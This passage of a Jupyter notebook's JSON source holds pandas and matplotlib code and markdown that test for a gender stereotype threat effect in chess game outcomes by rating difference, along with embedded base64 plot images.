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\n", "text/plain": [ "<matplotlib.figure.Figure at 0xabffe0ac>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "#calculate baseline\n", "baseline = games[games.quintile=='3rd'].groupby('rdiff_cat').mean()['WhiteScore'] #mean\n", "base_std = games[games.quintile=='3rd'].groupby('rdiff_cat').std()['WhiteScore'] #std\n", "baseli_n = games[games.quintile=='3rd'].groupby('rdiff_cat').agg(len)['WhiteScore'] #count\n", "\n", "#plot different groups\n", "fig, axes = plt.subplots(nrows=1, ncols=1, figsize=fsize)\n", "\n", "for i,q in enumerate(quintile_groups):\n", " qn_mean=games[games.quintile==q].groupby('rdiff_cat').mean()['WhiteScore'] #mean\n", " qn_sd=games[games.quintile==q].groupby('rdiff_cat').std()['WhiteScore'] #standard deviation\n", " qn_count=games[games.quintile==q].groupby('rdiff_cat').agg(len)['WhiteScore'] #count\n", " if q in plot_these: \n", " yvals=qn_mean-baseline #mean against baseline\n", " y_std=np.sqrt( ((qn_sd**2)/qn_count) + ((base_std**2)/baseli_n) ) #standard dev\n", " y_sem=y_std/np.sqrt(qn_count+baseli_n)\n", " if i ==2:\n", " y_sem=0 #all error is pushed into difference from baseline\n", " plt.errorbar(bins[:-1]+binwidth/2,yvals,yerr=y_sem*1.96,color=colours[i],fmt=fmts[i],ls=lss[i],lw=lweight,label=q)\n", "\n", "\n", "axes.set_xlabel('Difference in rating \\n(White - Black, using bin size = ' + str(binwidth) + ')')\n", "axes.set_ylabel('Average score for White \\ncompared to 3rd quintile baseline')\n", "axes.set_xlim([-650,650])\n", "axes.set_ylim([-ylimit_diff,ylimit_diff])\n", "\n", "fontP = FontProperties()\n", "fontP.set_size(16)\n", "legend = plt.legend(loc=0, ncol=3, bbox_to_anchor=(0, 0, 1, 1),prop = fontP,fancybox=True,shadow=False,title=titletext)\n", "plt.setp(legend.get_title(),fontsize=16)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Note - and this will be relevant later - if we had players who were over-rated (i.e. performing at a level below their numerical rating) then this would look like a shift up to the top left of this graph and a shift down to the bottom right. This is a flattening of the non-baselined curve (futher above). " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Test of stereotype threat\n", "\n", "Now we are ready to test for the existence of a stereotype threat effect. We do this by using our baseline games where two men play each other (MM; also the most numerous category) and compare\n", "\n", "* FF - when two women play each other : no expected stereotype threat\n", "* FM - when a women (white) plays a man (black) : stereotype threat predicted, decreasing chance of white win\n", "* MF - when a man (white) plays a woman (black) : stereotype threat predicted, increasing chance of white win\n", "\n", "Recall that we are plotting the effect of player gender across a range of rating differences. If there is a consistent stereotype effect then we would expect a shift down in the FM curve (and up in the MF) curve.\n", "\n", "The literature suggests, however, that a stereotype threat is most likely under conditions of challenge or stress. Fortunately, player ratings allow us a quantative handle on challenge - the higher the opponent's rating is compared to yours the more challenging the game. \n", "\n", "Given this, we look for differences between the FM and the FF and MM groups, either in terms of a shift of the curve across the full range, or particularly towards larger player rating differences (i.e. for the FM curve towards the left of the graph, where the male/black player has an increasing rating advantage over the female/white player; and for the MF curve towards the right where the opposite is true).\n", "\n", "For simplicity, we can add the MF results to the FM curve (by reverse coding the rating difference and comparing against the appropriate baseline (p(win|black) for the MM curve)" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "[None]" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\n/gN77z2eW2+9g6FDh3HFFRfzu99dxWmnncGNN95GaWkp1157ZUX+iRMv4f777+Okk07hL3/5G9/8\n5sFcfvlvmT59Wtb23nPPP7njjj/xve8dxy233M7mm2/JxImXkEqlKqYoPfzwA1x22W8YO3Yvbrvt\nLs466xweeuh+fve7L56dSqV4443XePrp/3DxxVdw/fU38fnnq7n44l9V5Lnyykt57bVX+fWvL+OG\nG26lQ4cOPPDAfVWmQtX3He6771/ss89+/P3v99UIKiqbNOkqDj30cP78579x8MGHcfPNN/LEE48B\n8NJLL3DFFRfzjW98i7/97V6uvvo6li79hAsvPC9rfalUiieffJzhwzfhr3+9h4EDB2fMM3XqI8yb\nN5err76OyZMnM2fOrCp9VdfPSWMzsJAkSWpFPvpoDu+++zYTJpzGDjvsxKabbsZvfnMZS5d+UpEn\nlUpx3XWTueiiS9l44+H07z+AY489kbKyMmbMeLlKfdtvvwN77jmOwYOHcNBBh/Lpp5/yzW8exLbb\nbs/w4Zuw334H8P77EYBFixbx6KMPceKJExg3bl8GDRrMkUcezZgxe3DnnX/O2uYpUx5ip5124aij\njmbIkKF897vHsM0221WZnnT77bcxZsweHH/8yQwaNJjdd9+DE074Pvfffw8rV64AkulMn332Geef\nfyHDh29CCJuz//7fYNasmaxZs4ZVq1bx5JNPcNRRx7DrrqMZPHgIEyacxoABAyue8/HHS+r9Dn37\n9uXAAw+mX7/+tfbJ2LF7MXbsngwaNJgTT0xGVR57bCoA22yzHXfeeTdHHnk0ffv2Y7PNRvDNbx7C\n22+/yapVKzPWV1ZWRmlpKccffzJ9+/bLOA2r/N/urLPOYejQjdhpp53Yffe9eOedt4H6/Zw0NgML\nSZKkVmTevLkAbLLJphVpnTt3rphOBElg8dlnn3Lppb/msMMOZJ99xrL//ntRWlrK8uXLq9S36aZf\n1NOtW3cANttsRJW08l/s33zzTUpLS9lhh52q1PG1r+3ABx+8X0ub5zF8+KZV0nbZZVTF9ytXrmDO\nnNnssMOONeotKSmpMsoybNhGdOxYVPG5Z89eABQXFzNv3kesX7++SvsBttpq64pfxN999+16v0MI\nm2d9p6r1b1Oj3MKFCwDo2LEjr7zyIt///rEceOB4xo/fnYkTLyWVSrF8eXHWOut6diqVYsSILaqk\n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